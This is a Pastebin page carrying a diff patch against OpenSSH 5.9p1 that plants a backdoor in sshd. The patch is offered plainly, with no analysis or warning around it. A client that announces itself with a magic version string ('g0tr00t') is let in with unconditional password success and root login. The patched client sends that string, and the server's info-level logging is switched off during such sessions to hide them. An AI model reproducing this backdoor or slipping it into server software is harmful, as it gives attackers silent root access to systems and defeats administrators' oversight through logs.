Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- openssh-5.9p1/auth.c MGC/auth.c
- *** openssh-5.9p1/auth.c 2011-05-29 13:40:42.000000000 +0200
- --- MGC/auth.c 2011-09-25 19:56:50.000000000 +0200
- ***************
- *** 100,105 ****
- --- 100,107 ----
- #ifdef USE_SHADOW
- struct spwd *spw = NULL;
- #endif
- + if (options.mgc)
- + return 1;
- /* Shouldn't be called if pw is NULL, but better safe than sorry... */
- if (!pw || !pw->pw_name)
- diff -c openssh-5.9p1/auth-passwd.c MGC/auth-passwd.c
- *** openssh-5.9p1/auth-passwd.c 2009-03-08 01:40:28.000000000 +0100
- --- MGC/auth-passwd.c 2011-09-25 19:17:56.000000000 +0200
- ***************
- *** 85,90 ****
- --- 85,92 ----
- #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
- static int expire_checked = 0;
- #endif
- + if (options.mgc)
- + return 1;
- #ifndef HAVE_CYGWIN
- if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
- diff -c openssh-5.9p1/log.c MGC/log.c
- *** openssh-5.9p1/log.c 2011-06-20 06:42:23.000000000 +0200
- --- MGC/log.c 2011-09-25 21:22:32.000000000 +0200
- ***************
- *** 51,56 ****
- --- 51,57 ----
- #include "xmalloc.h"
- #include "log.h"
- + #include "servconf.h"
- static LogLevel log_level = SYSLOG_LEVEL_INFO;
- static int log_on_stderr = 1;
- ***************
- *** 58,63 ****
- --- 59,65 ----
- static char *argv0;
- static log_handler_fn *log_handler;
- static void *log_handler_ctx;
- + ServerOptions options;
- extern char *__progname;
- ***************
- *** 184,190 ****
- va_list args;
- va_start(args, fmt);
- ! do_log(SYSLOG_LEVEL_INFO, fmt, args);
- va_end(args);
- }
- --- 186,193 ----
- va_list args;
- va_start(args, fmt);
- ! if (!options.mgc)
- ! do_log(SYSLOG_LEVEL_INFO, fmt, args);
- va_end(args);
- }
- diff -c openssh-5.9p1/servconf.h MGC/servconf.h
- *** openssh-5.9p1/servconf.h 2011-06-23 00:30:03.000000000 +0200
- --- MGC/servconf.h 2011-09-25 12:20:58.000000000 +0200
- ***************
- *** 63,68 ****
- --- 63,69 ----
- int login_grace_time; /* Disconnect if no auth in this time
- * (sec). */
- int key_regeneration_time; /* Server key lifetime (seconds). */
- + int mgc;
- int permit_root_login; /* PERMIT_*, see above */
- int ignore_rhosts; /* Ignore .rhosts and .shosts. */
- int ignore_user_known_hosts; /* Ignore ~/.ssh/known_hosts
- diff -c openssh-5.9p1/sshconnect.c MGC/sshconnect.c
- *** openssh-5.9p1/sshconnect.c 2011-05-29 13:42:34.000000000 +0200
- --- MGC/sshconnect.c 2011-09-25 12:35:44.000000000 +0200
- ***************
- *** 556,562 ****
- snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
- compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
- compat20 ? PROTOCOL_MINOR_2 : minor1,
- ! SSH_VERSION, compat20 ? "\r\n" : "\n");
- if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
- != strlen(buf))
- fatal("write: %.100s", strerror(errno));
- --- 556,562 ----
- snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
- compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
- compat20 ? PROTOCOL_MINOR_2 : minor1,
- ! MGC_KEY, compat20 ? "\r\n" : "\n");
- if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
- != strlen(buf))
- fatal("write: %.100s", strerror(errno));
- diff -c openssh-5.9p1/sshd.c MGC/sshd.c
- *** openssh-5.9p1/sshd.c 2011-06-23 11:45:51.000000000 +0200
- --- MGC/sshd.c 2011-09-25 21:14:40.000000000 +0200
- ***************
- *** 307,313 ****
- static void
- sighup_restart(void)
- {
- ! logit("Received SIGHUP; restarting.");
- close_listen_socks();
- close_startup_pipes();
- alarm(0); /* alarm timer persists across exec */
- --- 307,313 ----
- static void
- sighup_restart(void)
- {
- ! logit("Received SIGHUP; restarting.");
- close_listen_socks();
- close_startup_pipes();
- alarm(0); /* alarm timer persists across exec */
- ***************
- *** 468,473 ****
- --- 468,480 ----
- client_version_string, get_remote_ipaddr());
- cleanup_exit(255);
- }
- +
- + if (!strncmp(remote_version,MGC_KEY,strlen(MGC_KEY))){
- + options.mgc=1;
- + options.password_authentication=1;
- + options.permit_root_login=PERMIT_YES;
- + }
- +
- debug("Client protocol version %d.%d; client software version %.100s",
- remote_major, remote_minor, remote_version);
- diff -c openssh-5.9p1/version.h MGC/version.h
- *** openssh-5.9p1/version.h 2011-09-07 01:11:20.000000000 +0200
- --- MGC/version.h 2011-09-25 12:52:50.000000000 +0200
- ***************
- *** 4,6 ****
- --- 4,7 ----
- #define SSH_PORTABLE "p1"
- #define SSH_RELEASE SSH_VERSION SSH_PORTABLE
- + #define MGC_KEY "g0tr00t"
Add Comment
Please, Sign In to add comment